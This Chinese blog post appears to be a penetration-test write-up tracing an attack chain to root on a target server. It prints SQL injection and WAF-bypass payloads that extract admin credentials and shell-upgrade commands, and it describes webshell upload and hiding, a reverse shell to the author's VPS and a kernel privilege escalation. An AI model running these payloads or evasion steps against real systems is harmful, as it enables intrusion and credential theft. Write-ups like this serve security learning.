渗透实战 | 简单的拿下项目的root权限

  • A+
所属分类:安全文章

 


0x00前言

分享一个简单的项目,小有坎坷但仍旧几乎畅通无阻的最终拿下root权限。


先说重要的事情:如有漏码少码导致能定位目标请各位师傅手下留情。

渗透实战 | 简单的拿下项目的root权限

0x01信息收集

过程略,收集到目标的主站、邮服、dns服务器,之后选择从主站入手。

 

0x02漏洞挖掘

先在域名后随手加一个admin找到后台。

渗透实战 | 简单的拿下项目的root权限

 

回到前台,随意点点,发现可疑参数id

渗透实战 | 简单的拿下项目的root权限 


?id=125 and 1=0  页面变空白?id=125 and 1=1  页面恢复正常确认存在数字型注入,数字型注入的payload后面一般不用加注释(图略,打码太累了)

渗透实战 | 简单的拿下项目的root权限


?id=125 order by 7 页面正常?id=125 order by 8 页面报错确认注入点查询7列(图略,打码太累了


?id=125 union select 1,2,3,4,5,6,7  使用union联合查询注入确认回显点时存在问题,页面迟迟无响应。

渗透实战 | 简单的拿下项目的root权限 

猜想是有waf做了过滤,接下来逐步测试waf到底过滤了什么东西。
每个waf都有自己的过滤特征(以前的安全狗是出现一只狗),可以判断该waf的过滤特征就是页面无响应.
所以出现其他情况(正常回显,数据库报错等)都可判断是绕过waf成功


 ?id=125 union 页面报错而不是无响应,说明waf没有过滤un 

渗透实战 | 简单的拿下项目的root权限


?id=125 union select 页面无响应,说明过滤了select或union select

渗透实战 | 简单的拿下项目的root权限


?id=125 union sElecT 关键字大小写混用尝试绕过,页面依旧无响应,绕过失败(图略)?id=125union /*!sElecT*/ mysql内联注释尝试绕过过滤,页面报错,绕过成功


渗透实战 | 简单的拿下项目的root权限


?id=125 union /*!sElecT*/ 1,2,3,4,5,6,7 确认回显列,却没有在页面发现数字回显,依旧是正常显示着新闻。(图略,打码太累了)


渗透实战 | 简单的拿下项目的root权限


?id=0 union /*!sElecT*/ 1,2,3,4,5,6,7 怀疑是代码没有用循环输出,所以只能显示查询出的第一列,正常查询的结果干扰了我们注入的回显。于是更改前面的id为0,让程序查不出正常的数据,成功发现第2和第5列回显

渗透实战 | 简单的拿下项目的root权限


通过information_schema数据库找表找列的注入过程略,最终查出管理员账号密码的payload.

如下:

(中间又被waf拦了一次,于是将内联注释做了一个升级,空格和union关键字也做了混淆最终绕过)

id=0/**/UniOn/**//*!50000sEleCt*/1,2,3,4,group_concat(concat_ws(‘@’,username,pwd)separator ‘<br>’),6,7/**/From/**/admin

这里解释一下,concat_ws函数是将多个列的结果合并返回,以第一个参数为分割符。group_concat则是多个行的结果合并返回,以separator后面指定的参数(换行符)为分隔符,于是一条payload即可注出表中所有数据。

渗透实战 | 简单的拿下项目的root权限

登陆后台找到编辑器功能。

渗透实战 | 简单的拿下项目的root权限 

上传图片处没有限制后缀也没有检测内容,上传webshell成功。

渗透实战 | 简单的拿下项目的root权限

右键查看图片地址,访问却404 Not Found了。

渗透实战 | 简单的拿下项目的root权限

查看编辑器框架的源代码。

渗透实战 | 简单的拿下项目的root权限

发现可疑链接

渗透实战 | 简单的拿下项目的root权限

尝试访问并测试成功,后面猜测/resizeimage里存放的是缩略图,上传的php文件无法处理成缩略图形式所以404,而uploadfiles里面存放的是原图。

渗透实战 | 简单的拿下项目的root权限

蚁剑连接成功,特别喜欢这个绿色的小框框。

渗透实战 | 简单的拿下项目的root权限

在隐蔽的目录下藏一个新的webshell,然后去后台把刚才的webshell删除,避免被轻易发现。

渗透实战 | 简单的拿下项目的root权限

 

0x03 反弹shell

用户权限不高,接下来尝试提权

渗透实战 | 简单的拿下项目的root权限

因为webshell基于http协议(无状态协议)

前后操作没有关联,提权成功后下次操作还是会回到原点。所以要先反弹一个shell出来,这里用自己的vps,先关闭vps的防火墙。

渗透实战 | 简单的拿下项目的root权限

然后在vps上用nc监听9999端口。

渗透实战 | 简单的拿下项目的root权限

用webshell给目标服务器写入一个py的反弹脚本。

渗透实战 | 简单的拿下项目的root权限

在蚁剑上执行py脚本,可以看到vps上成功接收到shell。

渗透实战 | 简单的拿下项目的root权限

此时的shell仍然不是一个交互式shell,不能执行交互性工作su命令,需要用pty库模拟一个终端出来,并用stty升级成完全交互式shell。

渗透实战 | 简单的拿下项目的root权限

看图不清楚的,文字描述过程如下:


$ python -c 'import pty;pty.spawn("/bin/bash")'

Ctrl+Z

//这里是反弹shell挂起后在本机shell里的操作,stty升级后用fg把挂起的shell调出到前台

$ stty raw -echo

$ fg

//这里重新进入了反弹shell,一开始页面会有点怪,执行了reset后就会恢复

$ reset

$ export SHELL=bash

$ export TERM=xterm-256color

$ stty rows <num>columns <cols>


0x04 提升权限

开始提权,尝试使用suid提权:带有s标志的文件运行时会以创建者而非使用者的权限运行,一些敏感命令如果带有s属性可以用来提权。

查找了所有s标志位文件,试图用ping命令提权失败(忘了截图了)。

渗透实战 | 简单的拿下项目的root权限

 改变思路,利用linux内核漏洞CVE-2012-0056成功提权。

渗透实战 | 简单的拿下项目的root权限

后面没了,内网渗透?

渗透实战 | 简单的拿下项目的root权限

 

0x05 总结

攻击链:前台sql注入——绕过waf——后台文件上传——找到真实上传路径——反弹shell——升级shell——内核漏洞提权

如有漏码少码导致能定位目标请各位师傅手下留情.

 

END.




欢迎转发~

欢迎关注~

欢迎点赞~


发表评论

:?: :razz: :sad: :evil: :!: :smile: :oops: :grin: :eek: :shock: :???: :cool: :lol: :mad: :twisted: :roll: :wink: :idea: :arrow: :neutral: :cry: :mrgreen: